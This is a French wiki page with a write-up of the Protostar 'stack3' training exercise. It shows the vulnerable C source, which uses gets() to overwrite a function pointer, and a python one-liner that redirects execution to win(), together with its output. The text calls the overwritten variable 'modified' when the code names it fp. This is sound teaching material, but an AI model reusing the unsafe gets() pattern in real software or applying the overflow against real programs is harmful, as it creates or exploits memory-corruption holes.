Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
— |
exploit_exercises_protostar:stack3 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
+ | ====== Stack 3 ====== | ||
+ | <code C> | ||
+ | #include <stdlib.h> | ||
+ | #include <unistd.h> | ||
+ | #include <stdio.h> | ||
+ | #include <string.h> | ||
+ | |||
+ | void win() | ||
+ | { | ||
+ | printf("code flow successfully changed\n"); | ||
+ | } | ||
+ | |||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | volatile int (*fp)(); | ||
+ | char buffer[64]; | ||
+ | |||
+ | fp = 0; | ||
+ | |||
+ | gets(buffer); | ||
+ | |||
+ | if(fp) { | ||
+ | printf("calling function pointer, jumping to 0x%08x\n", fp); | ||
+ | fp(); | ||
+ | } | ||
+ | } | ||
+ | </code> | ||
+ | |||
+ | Toujours le même principe : modifier la variable ''modified''. Ici, le programme va sauter à l'adresse contenu dans ''modified''. Il nous faut donc récupérer l'adresse de la fonction ''win'' pour faire sauter le programme dessus. | ||
+ | |||
+ | <code> | ||
+ | user@protostar:/opt/protostar/bin$ nm ./stack3 | ||
+ | 080495a8 d _DYNAMIC | ||
+ | 0804967c d _GLOBAL_OFFSET_TABLE_ | ||
+ | ... | ||
+ | 08048424 T win | ||
+ | user@protostar:/opt/protostar/bin$ python -c 'print "A"*64+"\x24\x84\x04\x08"' | ./stack3 | ||
+ | calling function pointer, jumping to 0x08048424 | ||
+ | code flow successfully changed | ||
+ | </code> |